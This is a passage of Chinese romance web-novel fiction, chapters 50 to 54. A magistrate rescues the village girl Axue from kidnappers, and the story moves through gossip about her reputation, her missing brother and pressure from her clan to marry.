“人呢?刚才还看见了。” “找找,肯定跑不远。” “就怪蔡头子,若不是你心软非要给小相好喂水还忘了将碗带走,她们哪里有工具磨开绳子,也不会跑走!” “行了,这时候责怪有什么用,找到人才是真的。可别将她们两个放走,都是一等一的样貌,拿出去肯定大卖一笔,哥几个就靠她们俩发财呢!” 说完,他们哈哈大笑,好像两个苦命的小娘子是货物一样。 阿雪又气又怕,缩着脖子也不敢说话。 四个人十分聪明的分别寻找,朝着四个反向去了。阿雪还是没动,过了许久半点声响都没有后,她才从野草里爬出来。 “找到你了。” 忽然耳边传来一道阴恻恻的声音,有个男人如同鬼魂似的不知从哪里飘出来,一张脸直接贴着阿雪,眼珠子里布满了红血丝,身上一股油腻腻的菜味和酒味混合,令人闻之作呕。 阿雪爬起来的动作一僵,那人已经伸手作势要抓她。 就在这时,不知什么东西飞过,正正好好砸在那人的手腕上,他下意识的捂着手嚎叫,阿雪趁机爬起来就跑。 弱女子自然跑不过男子,眼看着就要追上阿雪,这时横出来一截树枝,那人直挺挺的刹住脚,差点就撞到树枝上戳瞎双眼。 不等看清来人是谁,腹部突然受到重击,他刚要嚎叫,下颚处又被打了一拳,一时不知道是捂上面还是捂下面,心口处又遭重击,当即仰面倒地哀嚎起来,待反应过来时阿雪早就不见踪影了。 她被牵着跑,前面的人一身玄色衣裳,甚至夜色太黑她都没看清楚对方的脸。但光是气息和动作,她就知道他是谁。 跑了一会他停下来,转过身。 夜色如银练,洒下一层银白的光。他面色苍白,嘴唇也淡淡的,似乎许久没喝水起了一层皮,但这些都不影响年轻郎君英俊清隽,一双瑞凤眸深邃幽暗的望过来。 “可有哪里受伤?” 阿雪第一次经历这种事情,才十六岁的小娘子,纵然她心思浅显也是会怕的。脑子里紧紧绷着一根弦,见到谢临安的时候,那根弦像是忽然绷断一样,她的眼泪也刷的落下来。 “郎君……”她扑到谢临安怀里哭。 “莫要怕,松石他们很快就来,我们在此等着便好。” 一个文人竟然比王捕头他们来的更快,足以可见他是有多焦急。但他面上不显,眼神在她身上巡过,见没有受伤地方,他才缓缓吐出一口炙气。 小娘子声音哑的厉害,原本整齐的发鬓散乱沾了不少枯草泥土,洁白如玉的面颊也灰扑扑,一身干净的衣裙染了脏污,裙摆还撕开像是狗啃似的。 和谢临安相比,她着实落魄。 她哭着哭着突然想起来这茬,便松开揽他劲瘦窄腰的手,胡乱的用袖子抹脸,不想让他看见自己邋遢的一面,还想起一件重要的事情。 “郎君,莲花!莲花还……” “看见她了,放心,已经有人接应她了。” 若不是碰见莲花,他还没法如此精准找到她的位置。 “哦。”劫后余生,阿雪脑子便空了,一时不知道说什么,还有点脑子发晕。 谢临安脱下自己的外裳披在她身上,低声细语主动引她说话。小娘子紧绷的身体才慢慢的松懈下来,靠着他胸膛上,竟然闭上眼睛缓缓睡了。 谢临安一只手扶住她的腰,另外一只手则是从前面圈住人,紧紧将人抱住,失而复得的感觉,让谢临安心脏狂跳,满心满眼都是心仪的小娘子。 他们站在草地上,没一会,滴滴答答的红色落在草叶子上,很快就洇湿了一大片。 谢临安低头看的时候,就听怀里的小娘子闭着眼睛嘟囔。 “郎君,你别走。” 谢临安将衣摆随意整理一番,让其盖住自己的腿,随后抱着阿雪,靠着她额头轻声道:“我在。” 50-60 第51章 第51章 “郎君,抓住三个跑了一个。” 他们一行直接回了镇子上,剩下交给王捕头带人清理。不熟悉地形加之对方太过狡猾,溜了一个。 谢临安伸出食指在唇上比划,王捕头当即噤声,悄悄往屋里榻上看过去。轻纱帐放下来,只能隐约看见女子的轮廓。 地上放着一双沾满脏污的绣花鞋,上头还隐隐有红色血迹。王捕头额间一跳,想起来方才大夫进出,松石端了一盆血水。 莫不是卢娘子受伤了?不对,经验丰富的王捕头立刻回忆起追上山时有个捕快发现了猎人布下的陷阱,一个沾着血和布料的捕兽夹。 从房间里出来后,王捕头抓着松石低声问:“可是大人受伤了?” “天色太黑郎君又着急,不慎踩在捕兽夹上,郎君坚持一声不吭,直到回来才传大夫。” 阿雪身体发热明显病了,否则不会在林子里就倚靠他睡着。谢临安让大夫先给她看诊,喂了汤药睡下后,他才挽起裤腿,让大夫看夹伤的地方。 松石当时一激灵。 脚踝处血肉模糊,像是被野兽咬过似的,皮肉翻过来还有半干涸的血迹。 光是看着就已经觉得痛,他们郎君到底是怎么忍受且不表露出来的? 王捕头面上露出钦佩的神色。 “不愧是大人。” 年纪轻轻就能当上县令,果然有过人之处,光是忍痛这一点就已经令人折服。 松石弯着嘴,既是高兴也是不高兴。高兴的是王捕头夸他们郎君,不高兴的是郎君为了卢娘子,当真……当真豁得出去。 “松石。”屋里谢临安喊人,松石应了一声,王捕头笑道:“快进去侍候大人吧,我去忙了。” 折腾了一夜,眼看着就要天亮了,松石进屋后谢临安嘱咐,让他跑一趟卢家。 “告知他们,免得她家人担忧。” 松石应声,立刻跑腿就要去,听得床帐有微弱声音道:“不用,我要回家去了。” 一只素手从帐子里探出来,面皮白皙的小娘子生了一对凝白若玉的柔夷,手背上有被林子枝叶擦过的伤口,不严重却看着触目惊心。 谢临安走路比往日更慢了一些,待他来到床边时,阿雪已经起身穿好鞋子了。 “你给我准备的新鞋吗?” 一双浅桃色绣花鞋,尺寸大小正好,穿上柔软透气,这个时节再好不过的料子了。 “嗯,还有衣服,也换上吧。” 阿雪躺下时候外裳已经脱了,她那件衣服被自己撕扯又被剐蹭,早就不成样子了,床边放了一身新衣服,是她喜欢的素净颜色,且没选贵重的料子,中规中矩的细布衣裳,半分都不会引人注意。 阿雪手脚麻利的穿好衣服站起来,谢临安低声询问:“可有哪里不适?” “有点累。”她如实道。 谢临安:“你病了当然会不舒服,不如躺下休息,天亮之后再回去。” “不行,我得回去看看石头回没回家,而且我爹娘会惦记我的。” 上了药绑了纱布,让谢临安行动稍微迟缓。他道:“叫松石赶车送你。” 谢临安此人,从不会逞强做事。 阿雪着急回家也没注意到他的异常。 “好,走吧松石。” …… 家里卢石头离家出走,卢大富去山里找了半宿才回来,夫妻俩又等阿雪等了一夜,却不见女儿归来。雪上加霜之下焦红杏昏了过去,卢大富只得拜托邻居妇人帮忙照顾,他出去找一双儿女。 阿雪回来时候,卢大富还未归,焦红杏抱着阿雪又哭又笑,阿雪也动容,忍不住眼睛发红。 卢大富回来见到女儿归来才缓了口气。 “就是不知道石头到底去哪里了,这个小兔崽子,胆比天大。” 卢大富骂了两句,背过身,没叫娘俩看见汉子落泪。 自己的亲生骨肉,怎么可能不惦念。 卢大富开始懊悔,不该打孩子,更不该在卢石头和他置气的时候对孩子不理不睬。 若是没有他们父子吵架这一遭,兴许卢石头不会离家出走。 “爹,娘,你们说石头会不会是去投奔之前路过的押镖队伍了?” 阿雪越琢磨越觉得是这么回事。 “卢石头走的时候带了他柜子里最好的三身衣服,拿了他最喜欢的匕首,弓箭倒是没带,所以可能不是进山去了。对了,他还带走了一块砚台和一支笔,爹,他之前老提什么闯荡江湖,什么去镖局当个镖师,会不会就是完成愿望去了?” 卢大富沉默,焦红杏思忱片刻道:“阿雪说的在理,可石头才那么小,外面人心复杂险恶,他哪里能应对的了啊。” 心思单纯的卢石头,很容易被人激怒,就像以前似的用拳头解决问题。焦红杏担心他到底是孩子,遇见如卢大富似的壮实成年人,根本打不过。到时候极为容易吃亏,又一个人在外…… 焦红杏不敢往下想,已经开始掉眼泪了。 阿雪轻声安抚,卢大富瓮声瓮气道:“我去找他。” 焦红杏哽咽:“去哪里找呢?天下之大,押镖的队伍都不知道走的哪个方向。” “我会想办法。”说着卢大富就出去了,也不知道想出什么法子。 卢家娘俩俱是病了,阿雪喝了两副汤药好了不少,周碧玉还提着东西来看她,连声说对不起。 阿雪比划着让她小声点。 “我爹娘不知道,怕他们担心。” 周碧玉点点头,挑了别的话题说了会话。过会,外面有人喊:“卢娘子在家吗?” 听着像是松石的声音。 阿雪出去,还真是松石,身后站了好几个人,拎着大大小小的盒子,瞧着像是补品和吃食。 “给娘子的东西。”松石笑眯眯让人往屋里送,焦红杏走了出来,看见那些东西惊讶问阿雪怎么回事。 周碧玉浅笑,心道县令大人对阿雪真好。 王翠翠还一直说谢大人只不过是玩弄阿雪罢了,他那等身份怎么会喜欢一个平民小娘子。周碧玉刚开始还担心,但现在看,他们确实是两情相悦。 情爱一事,谁又能说的清楚。 “就是朋友送的。” 阿雪一直没和家里说谢临安的事情,刚开始是不想透露自己的“复仇计划”,现在是不想让谢临安出现在家人面前。 阿雪自己都说不清楚现在的情绪,总之,先瞒一天是一天。 可有人不乐意了。 “我家郎君是本地州县的县令大人。”松石直言挑明,“体恤娘子才着人送东西。” 阿雪心头一跳看向焦红杏。 可没想到焦红杏什么都没说,笑着道:“替我谢谢大人。” 阿雪觉得有点奇怪,娘难道不知道谢临安当了县令吗?按理来说,他还得叫她一声伯母,小时候没少照料他。 阿雪也没细想,现在满心都是弟弟的消息。 晚上时候,卢大富回来了,说是已经托人打探,若有镖局和卢石头的消息就会告知。 焦红杏担心的整夜睡不着,卢大富去赤脚大夫那求了药,夜里混在她喝的汤里,这才让她睡一整夜。 日子还要过下去,休息了两天的阿雪精神头好了许多,得赶紧去开门营业挣钱了。只是走在路上,明显能感受到大家对她投来异样的目光。 阿雪回过头,那些人眼神躲闪闭口不说话,待阿雪走后开始小声蛐蛐。 铺子好几日不曾开张,得好好收拾一番,周碧玉也来帮忙,干到一半的时候莲花也来了。 “你怎么没在家歇着,脚怎么样了?” 莲花眼睛红肿,显然这两天不太好过。“没事,好多了。” 话是这么说,但莲花离家出走的消息不知道怎么传到周海天的耳朵里,他来退婚了。 莲花爹娘哭天抹泪,请求周海天不要退婚。 周海天神色冰冷。 “不退婚?她都和人私奔了,我怎么不能退婚!要不要我去官府找人说道说道?” 一听对方提到当官的,莲花爹娘就不敢吭声了,将银子退了,至于东西——周海天道:“我嫌晦气,你们折算成钱还我。” 等周海天走了,莲花爹娘又是哭又是骂。屋里的莲花垂头,忍受爹娘的指桑骂槐。 确实是她错了,莲花甚至存了轻生的念头,但后来惦念阿雪,便去她家里看望她。两个同病相怜的小娘子谈了许久,莲花豁然开朗。 不是她的错。 她是受害者,她为什么要去死? 该死的是骗她的卖货郎。 铺子收拾好后,阿雪直接就蒸了两锅,正好能赶上晌午饭口时候售卖,多少能挣一些。 但不知道怎么回事,今日的生意不大好。 兴许是因为她前两日没开门吧,阿雪想,附近的百姓可能还不知道她回来了。 “阿雪,你来的路上有没有听见什么。” 阿雪转头看莲花:“听见什么?” 莲花吞吞吐吐,周碧玉还以为自己在不方便,于是说家里有事先走一步。 待铺子里只剩下她们姐妹俩时,莲花叹气道:“阿雪,已经有风言风语了。” 即使莲花爹娘没告诉别人莲花私奔的事情,但周海天大肆退婚事情瞒不住,众说纷纭,有人说看见莲花娘哭着找女儿,便联想到许多种可能。 人们不愿意看实情,他们更喜欢自己臆测的“真相”。 所以谣言四起,莲花娘甚至出门都不敢抬头走路。 至于阿雪…… 她家附近的邻居知道她一夜未归。 未定亲未成婚的小娘子一夜没回家意味着什么? 第52章 第52章 莲花和阿雪被掳走的事情,只有两家人知道,心有默契的不曾对外提过,但没有不透风的墙,也不知道他们从哪里得来消息,开始说风言风语。 莲花刚被退了一门婚事,她爹娘脸上挂不住,便不让莲花出去走动,只得阿雪过来看她。 “你绝食做什么,该吃吃该喝喝。”阿雪端过饭碗,拿起筷子塞进莲花手里。 “吃,都吃完。” 莲花被关了一天,心情低落,没什么心思吃饭。阿雪退而求其次:“那你先吃一口,免得没力气说话。” 普通老百姓没那么多讲究,碗底下是米饭,上面放了菜。莲花夹了一口米饭,吃不出嘴里是什么滋味。 她苦笑道:“原来味同嚼蜡是真的,吃起来真的尝不出味道。” “你呢?那些人也议论你了吧?” 外面那些人当然不知道莲花和阿雪是一起被掳走的,他们只知道莲花退婚,知道阿雪一夜未归,然后靠脑子里贫瘠的想象来给她们安上莫须有的罪名。 “议论就议论,你也不想想退婚的时候我遭受了多少,与现在相比简直是小巫见大巫。” 阿雪语气轻快,像是没受到困扰,莲花放心不少。 姐妹俩说了会儿话,都心情松快些,阿雪要回家,临出门时被莲花娘叫住。 “阿雪,你帮婶子劝劝莲花。” “我劝了,方才她吃了半碗饭。” 莲花娘叹气:“我说的不是这件事。” 还有什么比女儿绝食还严重的事情吗?阿雪也跟着紧张起来。 “你进来,把门关上。”莲花娘一脸的小心,生怕被人听见,阿雪越发谨慎,赶忙关严实大门,随着莲花娘往院子里走。 到了主屋房间里,莲花娘还关了房门。 “阿雪,想必你也听莲花说退婚的事情了,多好的一桩婚事啊,硬是被她自己给作没了。唉,人家周海天可是什么都没做,就一顶帽子扣头上了。” 莲花娘越说,阿雪越蹙眉,最后实在忍受不了,直言道:“婶子,你知道具体是怎么回事吧,明明是周海天言语之间总打压莲花,瞧不起莲花,让莲花总是怀疑自己没用没有任何价值,后来碰见了那个卖货郎,那人趁虚而入花言巧语,莲花这才昏了头跟他跑了。” “婶子,这件事莲花固然有错,可错不全在她,而且我们是她的亲人,更该站在她这边。” 莲花娘不满意了,眉间纹更重。 “阿雪,不是婶子故意提你伤心事,你也是被退过婚的人,受尽了白眼,现在莲花和你一样,你觉得我们不会难过吗?” 阿雪被她说懵了。 莲花娘继续道:“虽说本朝女子可二嫁三嫁,可那是要被别人戳脊梁骨的啊,阿雪,婶子不怕让你笑话,就想让你帮忙劝劝莲花,让她低头服软,兴许周海天能原谅她,到时候红线重新牵上,一切问题就解决了啊。” 可这样真的是迎刃而解吗?难道不是雪上加霜? 阿雪是个坦率的性子,索性直接道:“抱歉婶子,这个忙我不能帮,女子成婚一辈子的事情,难道你要看着莲花一辈子都郁郁寡欢吗?” 才认识周海天多久,莲花就已经性情大变了,长此以往下去,还不知道要出什么差池。 莲花娘不高兴,硬邦邦的说了几句转了口风,开始拿出长辈的架势。 “你还小什么都不懂,若是你爹娘肯替你筹谋,说不定和京城侯府的婚事也不会退。我上次进城听人家说,那位小郎君被认回侯府后摇身一变成了四郎,侯府你懂不懂,吃香喝辣,还不用下地干活,你若是嫁过去,还用开铺子挣钱啊,恐怕人家手指头缝里随便露一露就够你花一年了……” 莲花娘喋喋不休,试图从阿雪那桩失败的婚事里找出证据,来证明如今一切都怪她没抓住谢家郎君。 可从她说第一句话的时候,阿雪思绪就飞扬起来。 原来谢临安排行第四,人家称他四郎。 四郎,四郎……阿雪在嘴里念叨了两遍,突然笑了。 小娘子笑容明媚,却刺痛莲花娘的眼睛。 “行了,我会找你娘谈谈,你先回去吧。” 焦红杏未免太宠溺孩子,看看将人养成什么娇气性子,连大人说话都不认真听,还在那笑。 …… 阿雪觉得叫四郎有点怪怪的,而且松石也叫谢临安郎君,所以阿雪决定继续这样叫他。 从莲花家里出来去客栈找人,才知道人回城里去了,只留下一封信。 “多谢掌柜。” 阿雪拿着信迫不及待地拆开,慢吞吞的一个字一个字的看,有不认识的就先跳过,囫囵读完又看了一遍,理清楚谢临安说的意思了。 他去铺子里找她了但没见到人,因此留下简书,说回城里有重要事情处理,三天后归来。 “才见面多久。”阿雪嘟囔,“聚少离多。” 又逐字看了一遍,阿雪喜滋滋的收好贴着心口放在怀里。 …… 因着莲花心情不虞,阿雪每天都会过去陪她一个时辰,这天来的时候莲花似乎好了一些,还主动同阿雪说话,说着说着就开始道歉。 “我娘嘴巴快,阿雪你别生气。” “生什么气?” 小娘子心思浅,只装最重要的东西,早就将莲花娘的话忘之脑后了。莲花噗嗤一笑,点了点阿雪的额头。 “忘性大这点不知道是好还是不好,阿雪,你当真将那个小未婚夫忘了?呸,瞧我这嘴,是前未婚夫。” 阿雪不言语,心想总是见面,恐怕忘不了。说起来,谢临安好像比小时候出类拔萃了。 莲花还以为她想起了伤心事,连忙找补道:“其实上次进城的时候我也听了一嘴,好像说他有个大哥,风华绝代才华横溢,是一等一的好儿郎,要我说,他不如他大哥,对方才是真正的天之骄子。” 说这话就是为了让阿雪心里平衡一些,让她觉得退婚也没什么的。她们是普通人家的女儿,也不会去肖想那位大郎。 可阿雪听的挺不是滋味的。 四郎很好。 四郎对她很好,而且还救过她。不仅如此,四郎样貌堂堂,不见得比他那个劳什子大哥差。 什么天之骄子,说不定就是因为对方身份高贵,大家吹捧出来的…… 阿雪越想越觉得是这么回事,不过理智尚存,据说那位大郎是侯府的世子,将来要承爵位的。对于阿雪来说,简直如天上的月亮高不可攀。 “天之骄子,反而让人不敢亲近。” 俩人说了会儿话,见莲花愿意吃东西了,阿雪彻底放心。莲花放下碗筷,道:“莫要惦念我,去忙铺子活计吧。” “也不算太忙,有碧玉姐帮我看着。” 莲花道:“没以前生意好?” 阿雪点头:“嗯,可以说是一落千丈。” 以前大家觉得小娘子冰雪可爱,卖的吃食物美价廉,因此都爱光顾她的小铺子。但现在风言风语多了,有不少人带着鄙夷的目光看阿雪,还有一些人则是被家里人劝住,不允许多和阿雪来往,生怕被阿雪带坏了。 如此一来,买的人就不多了。 “现在只能卖之前一半的量。” 提到生意,阿雪情绪低落,总觉得挣钱少了,但现在她也没什么办法。“没关系,我再想想法子。” 莲花握着她的手。“你呀,幸好总是乐呵的性子。” 否则像她一样,日子可怎么过啊。 …… 走在街上也能感受到周围人异样的视线,若是以前,兴许阿雪会不自在,但她满脑子都是怎么多挣钱,根本没将这些放在心上。 这些日子周碧玉已经学会和面了,而且每天和阿雪一个时辰过来,做的活不比阿雪少。淳朴善良的小娘子当然不会亏待对她好的人,于是提出给周碧玉结算工钱,按照镇子其他铺子工钱做对比,只多不少。 周碧玉满意极了,既能多学一门手艺,又能安身立命,彻底和过去割开。唯一不好的就是劝不动王翠翠,她大手大脚,恐怕要不了多久钱就花光,也不知道到时候怎么办。 “工钱就不用了,等你度过难关再说。” 生意不好活就少,也不累。而且阿雪完全可以不让周碧玉来,权衡之下,周碧玉觉得自己还占便宜了。 阿雪坚持给钱,周碧玉拗不过,便推脱说月末一起给。 卢石头还是没有消息,焦红杏每日以泪洗面,眼睛都要哭瞎了。卢大富不敢进山,就在家陪着她,阿雪有时候也早早回来,陪她说会儿话。 家里一派萧瑟,阿雪还得强打起精神,想着到底怎么办才能让铺子生意好起来。 谢临安回来了。 马车就停在卢家不远处,阿雪心头一跳,赶忙吩咐松石,让他回客栈等着,她一会便去。 松石折返回去,隔着帘子禀报道:“娘子说您舟车劳顿,还是先回客栈歇息,她收拾好后来客栈找郎君。” 自然是装饰点缀过的话术,松石心想,如果原话说出来,恐惹郎君不快,好像他们郎君是拿不出手的人似的。 微风拂过,薄透的帘子掀开一角,露出俊逸郎君的半张脸。只见他薄唇轻启,淡声道:“回客栈。” 松石应声驾车离去。 日落西山暮色四合,阿雪才姗姗来迟。 流言她不甚在意,但怕她娘亲听了难过,因此多少避讳一些,等到晚上看不见人影时候她才从客栈出去,而且拒绝谢临安送她的提议。 眉眼英挺的郎君微微一笑。 “你知道现在我们像什么吗?” 阿雪正在客栈后门探头探脑,想确定无人再出去,因此随口应了声:“像什么?” “像偷情。” 阿雪不大好意思的摸了摸鼻子。 “那个,你不是明日傍晚才离开吗?那我明日再来找你。” 说完直接冲进了浓夜里,留下看不清喜怒的谢临安。 “郎君,娘子怎么能这么对你,你为了她甚至……” “松石,”谢临安打断接下来的话,声音不轻不重道:“慎言。” 第53章 第53章 卢石头还没有消息,倒是村子里的卢家族人不知从哪里知道他不见的事情,急急忙忙的赶来。 这次卢大富在家,他们也不敢说什么,便都焦急问他是否找到了卢石头。 “家里就这么一个男娃娃,可不能出事啊!” “是啊,大富啊,你再托人找找,花点钱也使得。” 本来焦红杏就担心儿子,卢大富和阿雪父女俩尽量避开这个话题,被族里人引出来之后,焦红杏默默在一边擦眼泪。 他们说到一半的时候阿雪回来了,此时刚过晌午。有人问:“阿雪怎么今日回来的这样早?不用看铺子?” “想回来就回来了。”这些人对她娘不好,阿雪对他们向来没好脸色。 “你这孩子,当真一点教养都没有。” 阿雪坐在了焦红杏身边小声安慰,根本不理会他们,气的几个上了年岁的卢家族人捂着胸口,让卢大富好生管教阿雪。 族里的小娘子们都是任人揉捏的软柿子,亦或者她们早就习惯了被父母长辈安排一切,所以冒出阿雪这样的人,他们便觉得是刺头,便想要捋平阿雪,想让她也乖顺的听话。 “我家阿雪聪明伶俐,就不用叔伯们担心了。”卢大富身强体壮,坐在那犹如一座小山,声如洪钟,顿时让族里人不敢出声了。 他们也聪明,立刻转了话题提起失踪的卢石头。 “石头那娃娃才十三岁,怎么可能离家出走?我看啊,就是被人拐走了。” “就是,他才那么小,哪有胆子出去啊,说不定就藏在哪个孩子家里,你怎么不仔细找找。” 这些人俱是说话不腰疼,好像找到一个不见踪影的人是轻而易举的事情,好像他们没有认真的寻人。 亲人失踪,最伤心的莫过于血肉至亲,焦红杏哭的眼睛都要瞎了,听闻此话阿雪也心里不舒坦。 卢大富说话直接。 “我自己孩子丢了能不好好找吗,当然都找过了,就差将镇子底朝天翻过来寻人,还有,我家石头不是普通孩子,他身体强健会点功夫,人贩子不可能拐走他,石头是离家出走。” 而且他一直让人帮忙寻人,已经有点眉目了,因为有人看见卢石头背着布囊赶路,但他是用跑的,比寻常人腿脚快多了,因此只看见个背影没追上人。 “那不能,谁放着家里的好日子不过,出去受苦啊,要我说啊——” 说话的是族里一个老妇人,卢大富都要管她叫一声姑奶,年岁大辈分也大,平日里足不出户,只有大事才出来拍板。她拉长了声音,浑浊的眼珠子朝阿雪看过来。 “要我说,就是被他阿姐拖累了,被退了婚的娘子说出去都让人笑话,族里也给你介绍婚事了,还看不上眼。这样的情况下旁人肯定要笑话石头的,小石头经受不住,所以才跑了。” “没影的事。”卢大富护着孩子,不等阿雪说话他便率先反驳,“石头想当镖师,他去闯荡江湖了,和阿雪有什么关系?” “怎么没关系?”老妇人手里有个拐杖,气的她使劲杵了两下,“大富,你如今怎么越发的糊涂了!他年岁小正是要面子的时候,肯定是在学堂里被同窗们笑话,实在呆不下,所以才狼狈离家!要我说,赶紧寻一门亲事,快点将女娃嫁出去,到时候石头自然也回来了。” 在他们心里,当然卢石头更加重要,认为小娘子嫁人便是泼出去的水,往后也和卢家无甚关系了。 这话刺耳,听的焦红杏更难受,本来就焦虑儿子的事情,现在更愤怒他们诋毁自己女儿。 一直柔弱的母亲,生平第一次站了起来顶撞长辈。 “石头离家出走不是阿雪的错,我们已经很难过了,请各位长辈莫要再雪上加霜。天色不早,我们就不留长辈们吃饭了,请便吧。” 这话就是下了逐客令,他们自然不满这样被小辈对待,当即让卢大富好好管教。卢大富瓮声瓮气:“确实天黑了,不留你们了。” 他们来一趟没捞着好处,走的时候七窍生烟,阿雪假装去送他们,其实就想欣赏铁青的脸。 “谢谢爹。”关好院门,阿雪过来和劈柴的卢大富说话,“晚上我来做饭吧。” 卢大富力气大干活快,他转头看了眼屋里,眼神示意阿雪进屋。 “去陪你娘,我给你们煮饺子。” 早上包的素馅饺子还剩下不少,现在天热了再不吃容易馊。 阿雪应声,脚步轻快的往屋里走,刚迈进来就听见低低的啜泣声。 “娘,别哭了,他们都走了。” 焦红杏拿衣袖擦眼泪,“娘没事。” “石头也大了,会照顾好自己的。”阿雪以为她是因为卢石头的事情,还温声劝慰了几句。 焦红杏却不说话,好半响才憋出一句:“阿雪,若有合适的小郎君,娘就给你相看,把婚事定下来,可以明年再成亲,成吗?” 还是被那些人戳到了心窝子。 焦红杏想了,确实该定下一门好亲事,证明他们阿雪不是没人要,更不会因为被退过婚而找不到好人家。 “原来是因为我的事。”阿雪笑容滞了滞。 焦红杏的状态很不好,她本就身体虚弱,这些日子更是消瘦了许多。卢大富也没好到哪里去,夜里一宿一宿的睡不着,头发大把的掉,整个人老了好几岁。 阿雪不忍见爹娘这样,因此思量过后,她点了点头。 旧事翻涌,每日去铺子都要顶着众人打量的视线,让阿雪想起刚被退婚的日子。 更让她忽然惊醒,她是要报复谢临安的,为何忘了初心。 不知道怎么回事心底有点乱,辗转反侧难以入睡。 还有和阿雪一样无法入睡的人。 三匹骏马驰骋,披星戴月的赶路。 前头武将出身的赵友玉丝毫不觉得疲惫,后头跟着的赵友成和谢康安是苦不堪言。 原本他们计划直接快马加鞭的回京,却不想走在半道上,收到京城侯传来的消息,直接调转马头往回赶。 谢康安在收到消息的那一刻只有一个想法:谢临安,疯了。 可事实如此,震惊之余他们只得返程。 侯府的意思是让他在谢临安身边守着,直到侯府派人过来。 谢康安表乖顺应下,实际觉得烦躁。 他今年秋闱要下场考试,不想耽误太多时间在路上,可侯府的事他又不能不应下,而且还是侯府世子的大事,如果不应,被看做对大房不敬重,他们二房仰仗大房过活,容易惹出是非,会让本就妙的处境如履薄冰。 所以谢康安到底还是回来了,只能尽快赶路,争取早点回去。路上换了两匹马,日夜兼程,总算是赶到了。 进城之后就没那么赶了,但没想到谢临安一个县令竟然不在衙署。 “底下县城出了案子,抓捕过程逃了一人,大人一直在追查此人,因此不在。” 赵友成他们又只得往东山镇赶。 到地方时候正是晌午,三个风尘仆仆的郎君下马走路,赵友成累的没力气,指着前面道:“那就是卢娘子的铺子,不如我们去吃口东西再走。” 谢康安耳朵一动。 他当然不想见到阿雪,因此想也不想的拒绝。赵友成还以为他嫌弃地方吃食粗鄙,因此阴阳怪气的说了一句。 赵友玉打圆场:“快去客栈找世子才是正事。” 他们三个只得往前去,路过时候赵友成停下同阿雪打招呼,谢康安本该躲起来免生是非的,但不知道怎么回事,他没躲,甚至眼睛直勾勾的朝着阿雪看过来。 “是赵郎君,你不是回京城了吗?怎么回来了。”阿雪笑盈盈的出来说话。 她今日穿着旧布素裙,洗的次数多颜色有点灰扑扑,发鬓梳理归整但只有一根木簪子,瞧着极为素净的小娘子。 曾经谢康安远远看过她一次,瞧不大清楚,只知道童年定下婚约时她是个粉雕玉琢的小女娃,现在一看,她比幼时出落的更加动人,谢康安的视线落在她脸上,不曾挪开过。 入了侯府之后多少也算是权宦世家子弟,谢康安见过不少世家贵女,着实才貌双全,美的惊心动魄。但眼前的小娘子却是另外一种,让人无法忘记的美。 她皮肤生的白皙,汗津津的碎发贴在脸上,一双眼眸如被水洗过似的清澈见底,笑起来时眉眼弯弯,赤诚热烈。 愣神的功夫,阿雪的视线转了过来,谢康安突然一颗心提了起来,说不清道不明的滋味。 他们青梅竹马一起长大,想必她认出他来了吧。 果然,谢康安看见她张嘴,似乎想要喊他,谢康安甚至脚尖往前挪了半步。 “要吃包子吗?” 谢康安僵住。 阿雪还是那副笑盈盈的模样,“赵郎君,他们两位是你的朋友吧,快请进,可以吃包子和馒头的。” 赵友成说还有要事,阿雪便没阻拦,装了几个刚出锅的热乎包子给他们,叫他们帮忙带给谢临安。 当然,他们三个也有份,赵友成饿的狠了不顾形象,直接当街吃起包子来,赵友玉也拿了一个,还招呼谢康安。 “尝尝,不比京城大酒楼做的味道差。” 谢康安接过,却吃的没滋没味。 她没认出他? 怎么可能? 谢康安甚至觉得阿雪一定是装的,所以他回过头,断定阿雪还在偷看他。 却不想铺子门口早就没人了。 阿雪如今心思有点乱,只是瞧着他面熟多看一眼罢了,根本没去细想。 卢石头还是没有消息,那是自己亲弟弟,阿雪也着急的,再加上族里人旧事重提,阿雪甚至梦见因为她退婚和消失一夜的事,让卢大富与焦红杏遭受亲朋邻里的白眼。 现实里当然不会,卢大富心直口快,有仇当场报,焦红杏不一样,从小就被欺负惯了,导致现在有什么事情都在心里憋着,若是不解决她的心结,恐怕早晚要憋出病来。 阿雪趴在桌子上。 福无双至祸不单行。 现在铺子生意还不好,简直是雪上加霜啊。 天气越来越热,阿雪烦闷的厉害,周碧玉擦完桌子过来安抚道:“慢慢来,等过段时间大家就把那件事忘了,而且我们物美价廉,大家肯定还会再来买的。” 见阿雪不说话,周碧玉继续道:“铺子交给我就成,阿雪,你可以去找谢大人谈谈心。” 周碧玉认定阿雪和谢大人两情相悦,他的宽慰比任何人来的都要贴心。 却不想小娘子两只手捂着脸,干巴巴的说了句。 “不想去。” 第54章 第54章 铺子生意不好,阿雪就让周碧玉早点回去,她也归家照顾母亲。 回来的时候正好卢大富在熬鸡汤,打的野鸡卖了,这些是自家开春时候养的,现在吃肥瘦正好,满院飘香。 “爹,我回来了。” 厨房里高壮的男人背对着门口在烧火,闻言没有立刻转身,而是低下头不知道在做什么。阿雪都走到厨房门口了,他才站起来转身看来。 “今天比昨日回来的晚,生意好点了吧?” 卢大富进山打猎风吹日晒皮肤黝黑,因此眼下的红看不出来,他还特意打开锅盖,厨房里顿时雾气缭绕,根本看不清彼此的脸色。 阿雪鼻子动了动,笑着道:“爹,好香。” “香就行,再等上一刻钟才能好,你进屋去吧。” 等阿雪如兔子似的脚步轻快的离开,卢大富关上锅盖继续烧火,眼睛盯着跳跃的火苗,老是想到出走的卢石头。 懊悔再次攀涌,卢大富第无数次责怪自己不该教训孩子,说不定卢石头此刻正挎着书袋准备回家。 厨房愁云惨淡,屋里也气氛压抑。 不出阿雪所料,焦红杏正在偷偷的哭。 “娘,爹已经求人帮忙了,想必不日就有消息,你别急。” 怎么可能不急,卢石头是身体壮实,可到底只是个十三岁的孩子罢了,焦红杏特别害怕他吃亏被人欺负,甚至有时候会幻听,听见卢石头在喊:娘,救我。 食不下咽,夜不能寐。 长此以往人怎么能受得住,所以卢大富才熬鸡汤给焦红杏补补。 阿雪劝了好几句,还骗她说铺子生意好了不少,叫周碧玉帮忙看着。焦红杏一听,心结解开了一些,总算露出点笑模样。 “阿雪,铺子生意好了,你也别担心,会越来越好的。” “知道的,娘,我在开解你,我没事。” 娘俩都不想让对方担心,因此互相说了几句好话,卢大富端着鸡汤进屋里,一家三口趁热喝。 “里面这个是什么?”阿雪指着指甲盖大小的圆片问道。 卢大富道:“就是上次别人送的补品没吃完,我拿出来挑一些放里,时间长了也怕没有药性。” 是上次进城时谢临安送的。 阿雪不由得有些恍惚。 一转眼,她和谢临安重逢这么久了,她甚至感觉几天而已。 